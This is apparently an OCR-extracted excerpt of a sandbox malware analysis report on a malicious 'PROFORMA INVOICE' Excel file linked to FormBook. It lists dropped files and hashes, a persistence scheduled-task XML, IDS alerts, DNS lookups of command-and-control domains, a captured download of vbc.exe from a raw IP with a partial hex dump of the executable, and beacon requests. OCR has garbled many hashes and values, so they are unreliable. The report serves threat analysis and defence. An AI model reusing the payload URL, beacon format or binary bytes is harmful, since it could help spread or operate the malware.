>.U '0..kh.0./.3.7.V...@t... ~DA2wL..@...AThLOLN.
Ahe . . LWF7[.2.2..&.qF YL A Jw~AWL - B WL PLY.LL>
[....q.t.6U< A..?.N.Z<.D.t.Htn.0.s0...0. wF.. W.A#H...Ip....h...|. V+Kws2/.....W*....Q.,...8X.)c...M..H.|.h.0....R..

Mgl...B..X..;.... B/.n.b..w..d...KE..&.%l.4SBt.E?..m...eb*?....@.....a :.+H...Rh..

CluserswserAppbatailocalifempiompsBoneme &

Process: C:\Users\Public\vbc.exe

File Type: XML 1.0 document, ASCII text

Category: dropped

Size (bytes): 1579

Entropy (8bit):  5.117351705366542

Encrypted: false

SSDEEP: 24:2di4+S2ghZ1tylmCUnrKMhEMOFGpwOzNgU30DOIilQRvh7hwrgXuNtgxvn:cgeZQYrFdOFzOzN330DOIDdKrsuT+v

MD5: 801E43323FC83E5CF81D63EFC976ED22

SHA1L: D5D9826FC7D7CCBCDA13E8ABE700936464630A72

SHA-256: 3B295516AFFE40BA373E3A6A3CD1CA5F2331D5E880105007999C7FC98BF3E995

SHA-512: C648DCA49C3287467DA6E353371152328E3F66E77662B8BI96AIESCAICFFDEBIED763F05CF565607D9012F8A24AA8C11624BABE70F4AACAE2B8BIDFO0B8085F5E
1

Malicious: true

Preview:

<?xml version="1.0" encoding="UTF-16"?>.<Task version="1.2" xmIns="http://schemas.microsoft.com/windows/2004/02/mit/task">. <RegistrationInfo>. <Date>2014-10-
25T14:27:44.8929027</Date>. <Author>user-PCluser</Author>. </Registrationinfo>. <Triggers>. <LogonTrigger>.  <Enabled>true</Enabled>.  <Userld>user-
PCluser</Userld>. </LogonTrigger>. <RegistrationTrigger>.  <Enabled>false</Enabled>. </RegistrationTrigger>. </Triggers>. <Principals>. <Principal
id="Author">.  <Userld>user-PC\user</Userld>.  <LogonType>InteractiveToken</LogonType>.  <RunLevel>LeastPrivilege</RunLevel>. </Principal>. </P
rincipals>. <Settings>. <MultipleInstancesPolicy>StopExisting</MultiplelnstancesPolicy>. <DisallowStartlfOnBatteries>false</DisallowStartlfOnBatteries>. <Stoplf
GoingOnBatteries>true</StoplfGoingOnBatteries>.  <AllowHardTerminate>false</AllowHardTerminate>. <StartWhenAvailable>true</StartWhenAvailable>.
<RunOnlylfNetworkAvail

C:\Users\user\AppData\Local\Temp\~DF179E4FABD168830C.TMP

Process: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE
File Type: data

Category: dropped

Size (bytes): 512

Entropy (8bit): 0.0

Encrypted: false

SSDEEP: 3

Copyright Joe Security LLC 2021 Page 22 of 36



C:\Users\user\AppData\Local\Temp\~DF179E4FABD168830C.TMP

MDS5: BF619EACOCDF3F68D496EA9344137E8B

SHA1L: 5C3EB80066420002BC3DCC7CA4AB6EFAD7ED4AES

SHA-256: 076A27C79ESACE2A3D47FIDD2E83E4FF6EA8872B3C2218F66C92B89IB55F36560

SHA-512: DF40D4A774E0B453A5B87C00D6FOEF5D753143454E88EE5F7B607134598294C7905CCBCF94BBC46E474DB6EB44E56A6DBB6D9A1BEIDAFB5D1B5F2D0C6ED34!
FE

Malicious: false

Preview:

C:\Users\luser\AppData\Local\Temp\~DF364B1570347A7C36.TMP

Process: C:\Program Files\Microsoft Office\Office 14\EXCEL.EXE
File Type: CDFV2 Encrypted

Category: dropped

Size (bytes): 234200

Entropy (8bit):  7.971062018539889

Encrypted: false

SSDEEP: 6144:0Fxjv6GU1QHKNZoh6XljlsnpianHyuglAkvQnZX:0FIv6 GMjohDIsnpiOOIAk4nZX

MDS5: FOE46ABA95165B11AD7FC84D80A73730

SHA1L: 2EA511219E2C3D76597483C4998A2AF40D821142

SHA-256: 009DFE9D9409704671B802DDAAS4EE22355F3FF41C6EF779B7E644C76466E0BO

SHA-512: F6EA11D97394ACB2485BAF3A6118E9633FE70F7AESEEF7B3F95F82839BB550374A950BF71E9A0368ABD4579854FD404BF21C7EB44C5BB0666FA797F820114D57
Malicious: false

Preview:

#.$..%..8..."...( . ..C..D.
LELFLGLHLLLILKLLLMUNLLOLPLQLRLSLT.LULVL WL XYL Z L)AL Casbeedie flg. LYeZe

C:\Users\luser\AppData\Local\Temp\~DF5ABA8F4F45C955BE.TMP

Process: C:\Program Files\Microsoft Office\Office 14\EXCEL.EXE

File Type: data

Category: dropped

Size (bytes): 512

Entropy (8bit): 0.0

Encrypted: false

SSDEEP: 3

MD5: BF619EACOCDF3F68D496EA9344137E8B

SHAL: 5C3EB80066420002BC3DCC7CA4AB6EFAD7ED4AES

SHA-256: 076A27C79E5ACE2A3D47F9DD2ES3E4AFF6EA8872B3C2218F66C92B89B55F36560

SHA-512: DF40D4A774E0B453A5B87C00D6FOEF5D753143454E88EE5F7B607134598294C7905CCBCF94BBC46E474DB6EB44E56A6DBB6D9A1BEIDAFB5D1B5F2D0OC6ED34!
FE

Malicious: false

Preview:

C:\Users\user\AppData\Local\Temp\~DFC39337F99D373AF1.TMP

Process: C:\Program Files\Microsoft Office\Office l4\EXCEL.EXE

File Type: data

Category: dropped

Size (bytes): 512

Entropy (8bit): 0.0

Encrypted: false

SSDEEP: 3

MD5: BF619EACOCDF3F68D496EA9344137E8B

SHAL: 5C3EB80066420002BC3DCC7CA4AB6EFAD7EDAAES

SHA-256: 076A27C79E5ACE2A3D47F9DD2ES3E4FF6EA8872B3C2218F66C92B89IB55F36560

SHA-512: DF40D4A774E0B453A5B87C00D6FOEF5D753143454E88EE5F7B607134598294C7905CCBCF94BBC46E474DB6EB44E56A6DBB6D9A1BEIDAFB5D1B5F2D0OCEED34|
FE

Malicious: false

Preview:

C:\Users\user\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\6DVTRGQEANC1QDSD4KFD.temp
Process: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type: data
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C:\Users\luser\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\6DVTRGQEANC1QDSD4KFD.temp

Category:
Size (bytes):
Entropy (8bit):
Encrypted:
SSDEEP:
MD5:

SHA1L:
SHA-256:
SHA-512:

Malicious:

Preview:

dropped

8016

3.5779086355075593

false
96:chQC4MgoqvsqvJCwo0z8hQC4MgoqvsEHyqvJCworeztAKrjH3pxpyXRIUVaA2:cmZo0z8mRHnorezt5Hf8XDA2
5CC9D06FCAB872275540D44458C82555

C41B9B609C7405D57B48FD756FB0552EFC365290
125E9665E115B05130A2D560F8EA76F98BA5806B00B894604B3A0EB657208E9A

S5E3AB889ACC56DF5B1E855B4A6892DF5DE9635DB8CADSFF875F0229DEBD03B2A2FF66A2CE45AA42E39A2EAGBAGC08704D8209250351DA862A736CC8601A374
19

false

................................... FLooiioriie R LL8D e PLOL 400 /Cil M L{JN PROGRASB.D. L {0
gram.D.ata...X1...~Jv. MICROS~1..@ M.icros.oft. R1..wl. Windows.<.....wWJ;*. ... W.i.ndows.....1...:
WSTARTM~L..j......c((*.. @....Sttart .Me.n.u..@.s.h.ell3.2..dll,.-21.7.86...~1...S .. Programs..f.....S *.... <...Pro.grams..@.s.he.l
1.3.2..d.ll.,.-.2.1.7.8.2.......1....xJu=..ACCESS~1..Il......wJr*..............B....A.c.cess.ories..@.s.hell3.2.dll,.-.2176.1...1 WINDOW~1..R.........,..""% ...
.................. W.i.nd.ow.s. .P.owe.r.S.he.ll..v.2k..., WINDOW~2.LNK..Z.......,...,*. .= WeiinudLoowes.

...P.r.o.

C:\Users\luser\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\d93f411851d7c929.customDestinations-ms (copy)

Process:
File Type:
Category:
Size (bytes):
Entropy (8bit):
Encrypted:
SSDEEP:
MD5:

SHA1L:
SHA-256:
SHA-512:

Malicious:

Preview:

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

data

dropped

8016

3.5779086355075593

false
96:chQC4MgoqvsqvJCwo0z8hQC4MdoqvsEHyqvICworeztAKrH3pxpyXRIUVaA2:cmZo0z8mRHNoreztSHI8XDA2
5CC9D06FCAB872275540D44458C82555

C41B9B609C7405D57B48FD756FB0552EFC365290
125E9665E115B05130A2D560F8EA76F98BA5806B00B894604B3A0EB657208E9A

SE3ABB89ACC56DF5B1E855B4A6892DF5DE9635DB8CADSFF875F0229DEBD03B2A2FF66A2CE45AA42E39A2EAGBAGC08704D8209250351DA862A736CC8601A374
19

false

WFL. R 8.D...xq.{D...xq.{D...k
Jlv. MICROS~1..@.. ~JvELd M.i.cros.oft....R.1..wJ;.. Windows.<..
.STARTM~1.. (*. .@....Start. .Menu..@.s.h.ell3.2.dll,.-21786...~1...S ..Programs..
1.3.2..d.ll.,.-.2.1.7.8.2.......1 Ju=..ACCESS~1.. WIrF ...B...Ac.cess.ories..@.s.h.ell3.2.dlLl
W.i.n.d.o.w.s. .P.ow.e.r.S.he.ll..v.2k..., WINDOW~2.LNK..Z... *o .W.i.n.d.o.w.s.

.P.O. .ii....+00.../C:\.

grampData... X1

Process:
File Type:
Category:
Size (bytes):
Entropy (8bit):
Encrypted:
SSDEEP:
MD5:

SHAL:
SHA-256:
SHA-512:
Malicious:

Preview:

Process:

File Type:
Category:
Size (bytes):
Entropy (8bit):
Encrypted:
SSDEEP:
MD5:

SHAL:

C:\Users\Public\vbc.exe

PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows

dropped

444416

7.8422896972903535

false

12288:0bap00XixBFmM3xtkw+Z9Gc6vcu/3G/rTX:0Obs00Xi1K+2P+

6926A53FA91CAB577D52942A39E5FB53

C15DFC5E94CA97D47FD89DCDC42CC03888334C91

1BA605473B6FC3B244F25A8838E41A642DBF9566D347D3EA084E96BBESSAEBDE
02AFC62CCF5C48DD3BFDC2E26EB3C6B997C65DC499D793568D04C3410B0A8961E9C7F738E7E43324D167460C6418EC911CC815A87158680D128D7F80455338F

true

RN £ (v
R R (A H. H..*..0.5 . £.0(%...{ .. ...0&
...@d)UU.Z(%....{ ...0-..X)UU.Z(...{...0..X )UU.Z()...{"...0/.. X JUU.Z(+....{#...00...X*...0........... r.

C:\Program Files\Microsoft Office\Office14\EXCEL.EXE

data

dropped

165

1.4377382811115937

false

3:vZ/FFDJw2fV:vBFFGS
797869BB881CFBCDAC2064F92B26E46F
61C1B8FBF505956A77E9A79CE74EF5E281B01F4B
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SHA-256:
SHA-512:
Malicious:

Preview:

D4E4008DD7DFB936F22D9EF3CC569C6F88804715EAB8101045BA1CD0OB081F185
1B8350E1500F969107754045EB84EA9F72B53498B1DC05911D6C7E771316C632EA750FBCEBAD3A82D664E3C65CC5251D0E4A21F750911AESDC2FC3653E49F581

true

.user LA

Process:
File Type:
Category:
Size (bytes):
Entropy (8bit):
Encrypted:
SSDEEP:
MDS5:

SHA1L:
SHA-256:
SHA-512:
Malicious:

Preview:

C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE

PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows

dropped

444416

7.8422896972903535

false

12288:0bap00XixBFm3xtkw+Z9Gc6veu/3G/rTX:0Obs00Xi1K+2P+
6926A53FA91CAB577D52942A39E5FB53
C15DFC5E94CA97D47FD89DCDC42CC03888334C91
1BA605473B6FC3B244F25A8838E41A642DBF9566D347D3EA084E96BBESSAEBDE
02AFC62CCF5C48DD3BFDC2E26EB3C6B997C65DC499D793568D04C3410B0A8961E9CTF738E7E43324D167460C6418EC911CC815A87158680D128D7F80455338F

true

.L.IThis program cannot be run in DOS mode....$....... PE..L..(B.a..

. . £,(%
...0/.. X )UU.Z(+...{#...00..X*...0....c.c..... r..

Static File Info

General
File type:
Entropy (8bit):
TriD:

File name:
File size:
MD5:
SHAL:
SHA256:

SHA512:

SSDEEP:

File Content Preview:

File Icon

Icon Hash:

CDFV2 Encrypted
7.971062018539889

e Generic OLE2 / Multistream Compound File
(8008/1) 100.00%

PROFORMA INVOICE xlsx

234200

f0e46aba95165b11ad7fc84d80a73730
2ea511219e2c3d76597483c4998a2af40d821142

009dfe9d9409704671b802ddaa54ee223553ff41c6ef779
b7e644c76466e0b0

f6ealld97394ach2485baf3a6118e9633fe70f7ae8eef7b3
f95f82839bh550374a950bf71e9a0368abd4579854fd404
bf21c7eb44c5bb0666fa797f820114d57

6144:0Fxjv6GU1QHKNZoh6XljlsnpianHyuqlAkvQnzZX:0
FIv6GMjohDIsnpiOOIAk4nZX

ede2aaB8aadb4bchd

Network Behavior

Snort IDS Alerts

Timestamp
11/25/21-

19:27:42.461474

Copyright Joe Security LLC 2021

Source Dest
Message Port Port

TCP 2031453 ET TROJAN FormBook CnC Checkin (GET)

Protocol SID Source IP Dest IP

49170 80 192.168.2.22  108.167.189.66
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Timestamp Protocol SID

11/25/21-
19:27:42.461474

TCP

11/25/21-
19:27:42.461474

TCP

11/25/21-
19:27:53.403894

TCP

Network Port Distribution

TCP Packets

UDP Packets

DNS Queries

Timestamp

1201

Message

2031449 ET TROJAN FormBook CnC Checkin (GET)

2031412 ET TROJAN FormBook CnC Checkin (GET)

ATTACK-RESPONSES 403 Forbidden

Nov 25, 2021 19:27:31.200841904 CET

Nov 25, 2021 19:27:36.288364887 CET

Nov 25, 2021 19:27:42.107682943 CET

Nov 25, 2021 19:27:48.133411884 CET

Nov 25, 2021 19:27:53.214838028 CET

Nov 25, 2021 19:27:58.458398104 CET

Nov 25, 2021 19:28:03.570483923 CET

DNS Answers

Timestamp Source IP

Nov 25, 2021 8.8.8.8
19:27:31.222560883

CET

Nov 25, 2021
19:27:31.222560883
CET

Nov 25, 2021
19:27:31.222560883
CET

Nov 25, 2021
19:27:36.616163015
CET

Nov 25, 2021
19:27:36.616163015
CET

Nov 25, 2021
19:27:42.319514036
CET

Nov 25, 2021
19:27:48.195972919
CET

Nov 25, 2021
19:27:53.261198997
CET

Nov 25, 2021
19:27:53.261198997
CET

Nov 25, 2021
19:27:58.531814098
CET

Nov 25, 2021
19:27:58.531814098
CET

8.8.8.8

8.8.8.8

8.8.8.8

8.8.8.8

8.8.8.8

8.8.8.8

8.8.8.8

8.8.8.8

8.8.8.8

8.8.8.8

Copyright Joe Security LLC 2021

Dest IP
192.168.2.22

192.168.2.22

192.168.2.22

192.168.2.22

192.168.2.22

192.168.2.22

192.168.2.22

192.168.2.22

192.168.2.22

192.168.2.22

192.168.2.22

Source IP

192.168.2.22

192.168.2.22

192.168.2.22

192.168.2.22

192.168.2.22

192.168.2.22

192.168.2.22

Trans ID
0Oxcl18c

0xc18c

0xc18c

Oxfca3

Oxfc43

0x9c63

0x30e0

0x9037

0x9037

Oxce43

Oxce43

Dest IP
8.8.8.8

8.8.8.8

8.8.8.8

8.8.8.8

8.8.8.8

8.8.8.8

8.8.8.8

Reply Code
No error (0)

No error (0)

No error (0)

No error (0)

No error (0)

No error (0)

Name error (3)

No error (0)

No error (0)

No error (0)

No error (0)

Trans ID

0xc18c

0xfc43

0x9c63

0x30e0

0x9037

Oxce43

0xb02b

Name

WWW.noyouc
antridemyo
newheel.com

noyoucantr
idemyonewh
eel.com

noyoucantr
idemyonewh
eel.com

www.debora
verdian.com

deboraverd
ian.com

www.franqu
iciasexclu
sivas.tienda

www.digipoint-
entertainment.co

m

www.hactic
um.com

hacticum.com

www.trashw
asher.com

trashwasher.com

OP Code

Standard query
(0)

Standard query
©)
Standard query
©)

Standard query
©)

Standard query
©)
Standard query
©)
Standard query
©)

CName

noyoucantridemyonewhee

l.com

deboraverdian.com

none

hacticum.com

trashwasher.com

Source Dest
Port Port Source IP
49170 80 192.168.2.22
49170 80 192.168.2.22
80 49172
Name Type
Www.noyouc A (IP address)
antridemyo

newheel.com

www.debora A (IP address)
verdian.com

www.franqu A (IP address)
iciasexclu

sivas.tienda

www.digipoint-
entertainment.co

A (IP address)

m
www.hactic A (IP address)
um.com

www.trashw A (IP address)
asher.com

www.getjoyce.net A (IP address)

Address Type
CNAME
(Canonical
name)
192.0.78.25 A (IP address)
192.0.78.24 A (IP address)

CNAME
(Canonical
name)

151.106.119.46 A (IP address)

108.167.189.66 A (IP address)

none A (IP address)

CNAME
(Canonical
name)

34.102.136.180 A (IP address)

CNAME
(Canonical
name)

151.101.66.159 A (IP address)

Dest IP
108.167.189.66

108.167.189.66

34.102.136.180 192.168.2.22

Class

IN (0x0001)

IN (0x0001)

IN (0x0001)

IN (0x0001)

IN (0x0001)

IN (0x0001)

IN (0x0001)

Class
IN (0x0001)

IN (0x0001)

IN (0X0001)

IN (0x0001)

IN (0x0001)

IN (0x0001)

IN (0x0001)

IN (0x0001)

IN (0x0001)

IN (0x0001)

IN (0x0001)
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Timestamp Source IP Dest IP Trans ID
Nov 25, 2021 8.8.8.8 192.168.2.22 0xb02b
19:28:03.599400043

CET

HTTP Request Dependency Graph

e 107.173.229.133

e www.noyoucantridemyonewheel.com

e www.deboraverdian.com

* www.franquiciasexclusivas.tienda

e www.hacticum.com

e www.trashwasher.com

HTTP Packets

Session ID Source IP Source Port

0 192.168.2.22 49167
kBytes

Timestamp transferred Direction

Nov 25, 2021 0 ouT

19:26:21.837522030 CET

Nov 25, 2021 1 IN
19:26:21.956288099 CET

Copyright Joe Security LLC 2021

Reply Code Name CName Address Type Class

Name error (3) www.getjoy none none A (IP address)  IN (0x0001)
ce.net

Destination IP Destination Port Process

107.173.229.133 80 C:\Program Files\Common Files\Microsoft Shared\ EQUATION\EQNEDT32.EXE

Data

GET /90009/vbc.exe HTTP/1.1

Accept: */*

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/7.0; SLCC2; .NET CLR 2.0.50727;
.NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)

Host: 107.173.229.133

Connection: Keep-Alive

HTTP/1.1 200 OK

Date: Thu, 25 Nov 2021 18:26:21 GMT

Server: Apache/2.4.51 (Win64) OpenSSL/1.1.11 PHP/7.4.25

Last-Modified: Thu, 25 Nov 2021 07:58:32 GMT

ETag: "6c800-5d19857437223"

Accept-Ranges: bytes

Content-Length: 444416

Keep-Alive: timeout=5, max=100

Connection: Keep-Alive

Content-Type: application/x-msdownload

Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 Oe 1f ba Oe 00 b4 09 cd 21 b8 01
4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64
65 2e 0d 0d Oa 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 03 00 28 42 9f 61 00 00 00 00 00 00 00 00 e0 00 02 01 Ob 01
30 00 00 be 06 00 00 08 00 00 00 00 00 00 36 dc 06 00 00 20 00 00 00 e0 06 00 00 00 40 00 00 20 00 00 00 02 00 00 04
00 00 00 00 00 00 00 04 00 00 00 00 00 00 00 00 20 07 00 00 02 00 00 00 00 00 00 02 00 40 85 00 00 10 00 00 10 00 00
00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 e4 db 06 00 4f 00 00 00 00 e0 06 00 dc 05 00
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 07 00 Oc 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 08
00 00 00 00 00 00 00 00 00 00 00 08 20 00 00 48 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 4c bc 06 00
00 20 00 00 00 be 06 00 00 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 73 72 63 00 00 00 dc 05 00
00 00 e0 06 00 00 06 00 00 00 cO 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6¢ 6f 63 00 00 Oc 00
00 00 00 00 07 00 00 02 00 00 00 c6 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 18 dc 06 00 00 00 00 00 48 00 00 00 02 00 05 00 a8 65 00 00 14 76 00 00 03 00 00 00 93 00 00 06
bc db 00 00 28 00 06 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 1e 02 7b 20 00 00 Oa 2a 1e 02 7b 21 00 00 Oa 2a 1le 02 7b 22 00 00 Oa 2a le 02 7b 23 00 00
Oa 2a 92 02 28 24 00 00 0a 02 03 7d 20 00 00 Oa 02 04 7d 21 00 00 0a 02 05 7d 22 00 00 0a 02 Oe 04 7d 23 00 00 Oa 2a
00 00 00 13 30 03 00 73 00 00 00 01 00 00 11 03 75 01 00 00 1b Oa 02 06 2e 66 06 2¢ 60 28 25 00 00 Oa 02 7b 20 00 00
0a 06 7b 20 00 00 Oa 6f 26 00 00 Oa 2c¢ 48 28 27 00 00 0a 02 7b 21 00 00 Oa 06 7b 21 00 00 Oa 6f 28 00 00 Oa 2c 30 28 29
00 00 0a 02 7b 22 00 00 Oa 06 7b 22 00 00 Oa 6f 2a 00 00 Oa 2c 18 28 2b 00 00 Oa 02 7b 23 00 00 0a 06 7b 23 00 00 Oa
6f2c 00 00 0a 2b 01 16 2b 01 17 2a 00 13 30 03 00 62 00 00 00 00 00 00 00 20 e4 ab 40 64 20 29 55 55 a5 5a 28 25 00
00 0a 02 7b 20 00 00 Oa 6f 2d 00 00 Oa 58 20 29 55 55 a5 5a 28 27 00 00 Oa 02 7b 21 00 00 Oa 6f 2e 00 00 Oa 58 20 29
55 55 a5 5a 28 29 00 00 0a 02 7b 22 00 00 Oa 6f 2f 00 00 0a 58 20 29 55 55 a5 5a 28 2b 00 00 0a 02 7b 23 00 00 Oa 6f 30
00 00 0a 58 2a 00 00 13 30 07 00 b2 00 00 00 02 00 00 11 14 72 01 00 00 70 1a 8d 14 00 00 01 25 16 02 7b 20 00 00 Oa
0a 12 00 25 71 06 00 00 1b 8c 06 00 00 1b 2d 04 26 14 2b Ob fe 16 06 00 00 1b 6f 31 00 00 Oa a2 25 17 02 7b 21 00 00 Oa
Ob 12 01 25 71 07 00 00 1b 8c 07 00 00 1b 2d 04 26 14 2b Ob fe 16 07 00 00 1b 6f 31 00 00 Oa a2

Data Ascii: MZ@!L!This program cannot be run in DOS mode.$PEL(Ba06 @ @O H.textL “.rsrc@@.reloc@BHev({ *{!I*{"*
{#*($} 1Y H#*0su.f, (%] { 0& H({{!o(,00{"{"0o*,(+{#{#0,++*0b @d )UUZ(%{ 0-X )UUZ({lo.X )UUZ(){"o/X )UUZ(+{#00X*Orp%:{
%0Q-&+01%{!%q-&+01
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Session ID Source IP

1 192.168.2.22

kBytes
Timestamp transferred
Nov 25, 2021 471

19:27:31.255728006 CET

Nov 25, 2021 472
19:27:31.272551060 CET

Session ID Source IP

2 192.168.2.22
kBytes

Timestamp transferred

Nov 25, 2021 473

19:27:36.861370087 CET

Nov 25, 2021 474
19:27:37.103225946 CET

Session ID Source IP

3 192.168.2.22
kBytes

Timestamp transferred

Copyright Joe Security LLC 2021

Source Port

49168

Direction

ouT

Source Port

49169

Direction

ouT

Source Port

49170

Direction

Destination IP Destination Port Process

192.0.78.25 80 C:\Windows\explorer.exe

Data

GET /ht08/?br2=60BX3p/jKqTFfatzdk67FZjwUvooQvGFnODgWFokXaJ7H/RmjwY G/Htt7Nd+S+ztCPQGkw==&fD
KD5Z=IbLdXBhXWNSHTR HTTP/1.1

Host: www.noyoucantridemyonewheel.com

Connection: close

Data Raw: 00 00 00 00 00 00 00

Data Ascii:

HTTP/1.1 301 Moved Permanently

Server: nginx

Date: Thu, 25 Nov 2021 18:27:31 GMT

Content-Type: text/html

Content-Length: 162

Connection: close

Location: https://www.noyoucantridemyonewheel.com/ht08/?br2=60BX3p/jKqTFfatzdk67FZjwUvooQvGFnODgWFok
XaJ7H/RmjwY G/Htt7Nd+S+ztCPQGkw==&fDKD5Z=IbLdxBhXWNSHTR

X-ac: 2.hhn _dfw

Data Raw: 3c 68 74 6d 6¢ 3e 0d Oa 3c 68 65 61 64 3e 3c 74 69 74 6¢ 65 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61
6e 65 6e 74 6¢ 79 3c 2f 74 69 74 6¢ 65 3e 3c 2f 68 65 61 64 3e 0d Oa 3c 62 6f 64 79 3e 0d Oa 3c 63 65 6e 74 65 72 3e 3c
68 31 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6¢ 79 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a
3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d Oa 3c 2f 62 6f 64 79 3e 0d Oa 3c 2f 68
74 6d 6¢ 3e 0d Oa

Data Ascii: <html><head><title>301 Moved Permanently</titte></head><body><center><h1>301 Moved Permanently</h1
></center><hr><center>nginx</center></body></htm|>

Destination IP Destination Port Process

151.106.119.46 80 C:\Windows\explorer.exe

Data

GET /ht08/?br2=hgaFuomov4HTN7IxwLOQIOL+zLU3A1JjC3kLHHHa91aVMp4VPmQJeUa+LGH249kypYugsQ==&fD
KD5Z=IbLdxBhXWNSHTR HTTP/1.1

Host: www.deboraverdian.com

Connection: close

Data Raw: 00 00 00 00 00 00 00

Data Ascii:

HTTP/1.1 301 Moved Permanently

Connection: close

content-type: text/html

content-length: 707

date: Thu, 25 Nov 2021 18:27:36 GMT

server: LiteSpeed

location: https://www.deboraverdian.com/ht08/?br2=hgaFuomov4HTN7IxwLOQIOL+zLU3A1JjC3kLHHHa91aVMp4VPm
QJeUa+LGH249kypYugsQ==&fDKD5Z=IbLdxBhXWNSHTR

x-powered-by: Niagahoster

vary: User-Agent

Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6¢ 20 73 74 79 6¢ 65 3d 22 68 65 69 67 68 74 3a
3130 30 25 22 3e Oa 3c 68 65 61 64 3e 0a 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e
74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6¢ 2d 73 63 61 6C 65
3d 31 2c 20 73 68 72 69 6e 6b 2d 74 6f 2d 66 69 74 3d 6e 6f 22 20 2f 3e 0a 3c 74 69 74 6¢ 65 3e 20 33 30 31 20 4d 6f 76
65 64 20 50 65 72 6d 61 6e 65 6e 74 6¢ 79 0d Oa 3c 2f 74 69 74 6¢ 65 3e 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 20 73 74
79 6¢ 65 3d 22 63 6f 6¢ 6f 72 3a 20 23 34 34 34 3b 20 6d 61 72 67 69 6€ 3a 30 3b 66 6f 6 74 3a 20 6e 6f 72 6d 61 6¢ 20
3134 70 78 2f 32 30 70 78 20 41 72 69 61 6¢ 2c 20 48 65 6¢ 76 65 74 69 63 61 2c 20 73 61 6e 73 2d 73 65 72 69 66 3b 2
068 65 69 67 68 74 3a 31 30 30 25 3b 20 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6¢ 6f 72 3a 20 23 66 66 66 3b 22 3e Oa
3c 64 69 76 20 73 74 79 6¢ 65 3d 22 68 65 69 67 68 74 3a 61 75 74 6f 3b 20 6d 69 6e 2d 68 65 69 67 68 74 3a 31 30 30
25 3b 20 22 3e 20 20 20 20 20 3c 64 69 76 20 73 74 79 6¢ 65 3d 22 74 65 78 74 2d 61 6¢ 69 67 6e 3a 20 63 65 6e 74 65
72 3b 20 77 69 64 74 68 3a 38 30 30 70 78 3b 20 6d 61 72 67 69 6e 2d 6¢ 65 66 74 3a 20 2d 34 30 30 70 78 3b 20 70 6f
73 69 74 69 6f 6e 3a 61 62 73 6f 6¢ 75 74 65 3b 20 74 6f 70 3a 20 33 30 25 3b 20 6¢ 65 66 74 3a 35 30 25 3b 22 3e 0a 20
2020 20 20 20 20 20 3c 68 31 20 73 74 79 6¢ 65 3d 22 6d 61 72 67 69 6e 3a 30 3b 20 66 6f 6e 74 2d 73 69 7a 65 3a 31
3530 70 78 3b 20 6¢ 69 6e 65 2d 68 65 69 67 68 74 3a 31 35 30 70 78 3b 20 66 6f 6e 74 2d 77 65 69 67 68 74 3a 62 6f 6¢
64 3b 22 3e 33 30 31 3c 2f 68 31 3e 0a 3c 68 32 20 73 74 79 6¢ 65 3d 22 6d 61 72 67 69 6e 2d 74 6f 70 3a 32 30 70 78 3b
66 6f 6e 74 2d 73 69 7a 65 3a 20 33 30 70 78 3b 22 3e 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6¢ 79 0d Oa 3c 2f 68
32 3e 0a 3c 70 3e 54 68 65 20 64 6f 63 75 6d 65 6e 74 20 68 61 73 20 62 65 65 6e 20 70 65 72 6d 61 6e 65 6e 74 6¢ 79
20 6d 6f 76 65 64 2e 3c 2f 70 3e 0a 3c 2f 64 69 76 3e 3c 2f 64 69 76 3e 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6¢ 3e Oa

Data Ascii: <IDOCTYPE html><html style="height:100%"><head><meta name="viewport" content="width=device-width,
initial-scale=1, shrink-to-fit=no" /><title> 301 Moved Permanently</title></head><body style="color: #444; margin:0;font:
